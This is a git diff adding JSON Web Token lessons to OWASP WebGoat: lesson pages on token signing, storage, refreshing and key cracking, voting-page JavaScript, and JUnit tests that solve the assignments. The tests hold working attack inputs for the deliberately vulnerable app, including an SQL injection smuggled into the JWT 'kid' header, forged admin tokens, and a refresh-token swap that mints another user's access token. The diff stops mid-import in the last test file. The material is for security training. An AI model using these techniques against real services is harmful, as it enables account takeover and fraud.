'; + +function getVotings() { + $("#votesList").empty(); + $.get("JWT/votings", function (result, status) { + for (var i = 0; i < result.length; i++) { + var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall); + if (i === 0) { + voteTemplate = voteTemplate.replace('ACTIVE', 'active'); + voteTemplate = voteTemplate.replace('BUTTON', 'btn-default'); + } else { + voteTemplate = voteTemplate.replace('ACTIVE', ''); + voteTemplate = voteTemplate.replace('BUTTON', 'btn-primary'); + } + voteTemplate = voteTemplate.replace(/TITLE/g, result[i].title); + voteTemplate = voteTemplate.replace('INFORMATION', result[i].information || ''); + voteTemplate = voteTemplate.replace('NO_VOTES', result[i].numberOfVotes || ''); + voteTemplate = voteTemplate.replace('AVERAGE', result[i].average || ''); + + var hidden = (result[i].numberOfVotes === undefined ? 'hidden' : ''); + voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_VOTES/g, hidden); + hidden = (result[i].average === undefined ? 'hidden' : ''); + voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_RATING/g, hidden); + + $("#votesList").append(voteTemplate); + } + }) +} + +webgoat.customjs.jwtSigningCallback = function () { + getVotings(); +} + +function vote(title) { + var user = $("#name").text(); + if (user === 'Guest') { + alert("As a guest you are not allowed to vote, please login first.") + } else { + $.ajax({ + type: 'POST', + url: 'JWT/votings/' + title + }).then( + function () { + getVotings(); + } + ) + } +} + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc deleted file mode 100644 index e192587b6..000000000 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc +++ /dev/null @@ -1 +0,0 @@ -== Test \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc new file mode 100644 index 000000000..de106e731 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc @@ -0,0 +1,5 @@ +== Final challenges + +Below you see two account, one of Jerry and one of Tom. Jerry wants to remove Toms account from Twitter, but his token +can only delete his own account. Can you try to help him and delete Toms account? + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc new file mode 100644 index 000000000..0682b666a --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc @@ -0,0 +1,19 @@ +== Authentication and getting a JWT token + +A basic sequence of getting a token is as follows: + +image::images/jwt_diagram.png[style="lesson-image"] + +{nbsp} + + +In this flow you can see the user logs in with a username and password on a successful authentication the server +returns. The server creates a new token and returns this one to the client. When the client makes a successive +call toward the server it attaches the new token in the "Authorization" header. +The server reads the token and first validates the signature after a successful verification the server uses the +information in the token to identify the user. + +=== Claims + +The token contains claims to identify the user and all other information necessary for the server to fulfil the request. +Be aware not to store sensitive information in the token and always send them over a secure channel. + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc index d6c375bb8..ae76a5876 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc @@ -7,14 +7,13 @@ This lesson teaches about using JSON Web Tokens (JWT) for authentication and the == Goals -Teach how to securely implement the usage of tokens. +Teach how to securely implement the usage of tokens and validation of those tokens. == Introduction Many application use JSON Web Tokens (JWT) to allow the client to indicate is identity for further exchange after authentication. From https://jwt.io/introduction: - ------------------------------------------------------- JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc new file mode 100644 index 000000000..3b91e0bfa --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc @@ -0,0 +1,88 @@ +:linkattrs: + + +== Refreshing a token + +=== Introduction + +In this section we touch upon refreshing an access token. + +=== Types of tokens + +In general there are two type of tokens: access token and a refresh token. The access token is used for making API +calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once +the access token is no longer valid a request can me made towards the server to get a new access token by presenting +the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user +having to authenticate again with their credentials. Whether you should use a refresh token and access token depends, +below can find a couple of points to keep in mind while choosing which tokens to use. + +So a normal flow can look like: + +``` +curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login +``` + +The server returns: + +``` +{ + "token_type":"bearer", + "access_token":"XXXX.YYYY.ZZZZ", + "expires_in":10, + "refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7" +} +``` + +As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database) +in order to match the refresh token to the user the refresh token was granted to. +So in this case whenever the access token is still valid we can speak of a "stateless" session, there is +no burden on the server side to setup the user session, the token is self contained. +When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token +is not blocked in any way. + +Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The +attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection. +It is also possible to make the refresh token stateless but this means it will become more difficult to see if +the user revoked the tokens. +After the server made all the validations it must return a new refresh token and a new access token to the client. The +client can use the new access token to make the API call. + + +=== What should you check for? + +Regardless of the chosen solution you should store enough information on the server side to validate whether the user +is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh +token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange +behavior, you can revoke all the tokens an let the user authenticate again). +Also keep track of which access token belonged to which refresh token otherwise an attacker might +be able to get a new access token for a different user with the refresh token of the attacker +(see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) +Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check +whether the location is still the same if not revoke all the tokens and let the user authenticate again. + +=== Need for refresh tokens + +Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section +about storing tokens there are two option: web storage or a cookie which mean a refresh token is right beside an +access token, so if the access token is leaked changes are the refresh token will also be compromised. Most of the time +there is a difference of course, the access token is send when you make an API call, the refresh token is only send +when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same +server you can chose to only use the access token. + +As stated above using an access token and a separate refresh token gives some leverage for the server not to check +the access token over and over. Only perform the check when the user needs a new access token. +It is certainly possible to only use an access token, at the server you store the exact same information you would +store for a refresh token, see previous paragraph. This way you need to check the token each time but this might +be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least +use a hash function to store them in your database). + +=== JWT a good idea? + +There are a lot of resources available which question the usecase for using JWT token for client to server authentication +with regards to cookies. The best place to use a JWT token is between server to server communication. In a normal web +application you are better of using plain old cookies. See for more information: + +- http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/[stop-using-jwt-for-sessions, window="_blank"] +- http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/[stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work, window="_blank"] +- http://cryto.net/~joepie91/blog/attachments/jwt-flowchart.png[flowchart, window="_blank"] + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc new file mode 100644 index 000000000..6656b9355 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc @@ -0,0 +1,13 @@ +:linkattrs: + +== Refreshing a token + +It is important to implement a good strategy for refreshing an access token. This assignment is based on a vulnerability +found in a private bug bounty program on Bugcrowd, you can read the full write up https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/[here, window="_blank"] + +=== Assignment + +From a breach of last year the following logfile is available link:images/logs.txt[here] +Can you find a way to order the books but let *Tom* pay for them? + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc new file mode 100644 index 000000000..0d526de1c --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc @@ -0,0 +1,20 @@ +== JWT signing + +Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application +would be able to change the contents of the token. The signing specifications are defined https://tools.ietf.org/html/rfc7515[here] +the specific algorithms you can use are described https://tools.ietf.org/html/rfc7518[here] +It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function +for signing the token. + +=== Checking the signature + +One important step is to *verify the signature* before performing any other action, let's try to see some things you need +to be aware of before validating the token. + +== Assignment + +Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes + + + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc new file mode 100644 index 000000000..e1fb92adc --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc @@ -0,0 +1,35 @@ +== Storing JWT tokens + +When receiving a JWT token you need to store it at the client side. There are basically two options: + +- Store the token in a cookie +- Store the token in local/session storage + +=== Cookies + +Cookies is the most simplest form, every browser supports cookies for a long time. A best practise is to mark the +cookie with the `HttpOnly` to guarantee scripts cannot read the cookie and with `Secure` to make sure the cookie +is only sent over HTTPs. + +Note: using a cookie does not mean you have maintain a state stored on the server, like the old session cookies worked +before. The JWT token is self contained and can/should contain all the information necessary to be completely stateless the +cookie is just used as the transport mechanism. + +=== Web storage + +In this case you store the token in on the client side in HTML5 Web Storage. + +=== Choices, security risks + +Web storage is accessible through JavaScript running on the same domain, so the script will have access to the +web storage. So if the site is vulnerable to a cross-site scripting attack the script is able to read the token +from the web storage. See XSS lesson for more about how this attack works. + +On the other hand using cookies have a different problem namely they are vulnerable to a cross-site request forgery +attack. In this case the attacker tries to invoke an action on the website you have a token for. See CSRF lesson for more +information about how this attack works. + +The best recommendation is to choose for the cookie based approach. In practise it is easier to defend against a CSRF +attack. On the other hand many JavaScript frameworks are protecting the user for a XSS attack by applying the right +encoding, this protection comes out of the box. A CSRF protection sometimes is not provided by default and requires work. +In the end take a look at what the framework is offering you, but most of the time a XSS attack gives the attacker more leverage. \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc new file mode 100644 index 000000000..e44aa9079 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc @@ -0,0 +1,39 @@ +== Structure of a JWT token + +Let's take a look at the structure of a JWT token: + +image::images/jwt_token.png[style="lesson-image"] + +{nbsp} + + +The token is base64 encoded and consists of three parts `header.claims.signature`. The decoded version of this token is: + +``` +{ + "alg":"HS256", + "typ":"JWT" +} +. +{ + "exp": 1416471934, + "user_name": "user", + "scope": [ + "read", + "write" + ], + "authorities": [ + "ROLE_ADMIN", + "ROLE_USER" + ], + "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", + "client_id": "my-client-with-secret" +} +. +qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk +``` + + +Based on the algorithm the signature will be added to the token. This way you can verify that someone did not modify +the token (one change to the token will invalidate the signature). + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys new file mode 100644 index 000000000..b8da3bf02 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys @@ -0,0 +1,13 @@ +== JWT cracking + +With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key +we can create a new token and sign it. So it is very important the key is strong enough so a brute force or +dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack. + +=== Assignment + +Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat. + +``` +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0 +``` \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java new file mode 100644 index 000000000..fefdbe8f0 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Maps; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTFinalEndpointTest extends LessonTest { + + private static final String TOKEN_JERRY = "eyJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTNTEyIn0.eyJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IkplcnJ5In0.xBc5FFwaOcuxjdr_VJ16n8Jb7vScuaZulNTl66F2MWF1aBe47QsUosvbjWGORNcMPiPNwnMu1Yb0WZVNrp2ZXA"; + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + String key = "deletingTom"; + Map claims = Maps.newHashMap(); + claims.put("username", "Tom"); + String token = Jwts.builder() + .setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key) + .compact(); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", token) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void withJerrysKeyShouldNotSolveAssignment() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", TOKEN_JERRY) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account")))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java new file mode 100644 index 000000000..0e13f142c --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java @@ -0,0 +1,184 @@ +package org.owasp.webgoat.plugin; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.Maps; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MvcResult; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Map; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTRefreshEndpoint.PASSWORD; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTRefreshEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + //First login to obtain tokens for Jerry + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + String refreshToken = tokens.get("refresh_token"); + + //Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", refreshToken); + result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessTokenTom) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isOk()) + .andReturn(); + tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + accessTokenTom = tokens.get("access_token"); + + //Now checkout with the new token from Tom + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception { + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.output", CoreMatchers.containsString("JWT expired at"))); + } + + @Test + public void checkoutWitRandomTokenShouldFail() throws Exception { + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } + + @Test + public void flowForJerryAlwaysWorks() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", is("User is not Tom but Jerry, please try again"))); + } + + @Test + public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD + "wrong"); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void loginShouldNotWorkForTom() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Tom"); + loginJson.put("password", PASSWORD); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void newTokenShouldWorkForJerry() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + String refreshToken = tokens.get("refresh_token"); + + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", refreshToken); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessToken) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isOk()); + } + + @Test + public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", "wrong_refresh_token"); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessToken) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isUnauthorized()); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java new file mode 100644 index 000000000..421857307 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java @@ -0,0 +1,110 @@ +package org.owasp.webgoat.plugin; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.joda.time.Days; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.result.MockMvcResultHandlers; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.time.Duration; +import java.time.Instant; +import java.util.Date; + +import static io.jsonwebtoken.SignatureAlgorithm.*; +import static org.hamcrest.Matchers.is; +import static org.junit.Assert.*; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTSecretKeyEndpoint.JWT_SECRET; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTSecretKeyEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + private Claims createClaims(String username) { + Claims claims = Jwts.claims(); + claims.put("admin", "true"); + claims.put("user", "Tom"); + claims.setExpiration(Date.from(Instant.now().plus(Duration.ofDays(1)))); + claims.setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(1)))); + claims.setIssuer("iss"); + claims.setAudience("aud"); + claims.setSubject("sub"); + claims.put("username", username); + claims.put("Email", "webgoat@webgoat.io"); + claims.put("Role", new String[]{"user"}); + return claims; + } + + @Test + public void solveAssignment() throws Exception { + Claims claims = createClaims("WebGoat"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void solveAssignmentWithLowercase() throws Exception { + Claims claims = createClaims("webgoat"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void oneOfClaimIsMissingShouldNotSolveAssignment() throws Exception { + Claims claims = createClaims("WebGoat"); + claims.remove("aud"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-claims-missing")))); + } + + @Test + public void incorrectUser() throws Exception { + Claims claims = createClaims("Tom"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, JWT_SECRET).compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-secret-incorrect-user", "default", "Tom")))); + } + + @Test + public void incorrectToken() throws Exception { + Claims claims = createClaims("Tom"); + String token = Jwts.builder().setClaims(claims).signWith(HS512, "wrong_password").compact(); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/secret") + .param("token", token)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java new file mode 100644 index 000000000..9c90c1678 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTVotesEndpointTest.java @@ -0,0 +1,187 @@ +package org.owasp.webgoat.plugin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MvcResult; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import javax.servlet.http.Cookie; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTVotesEndpoint.JWT_PASSWORD; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.print; +import static 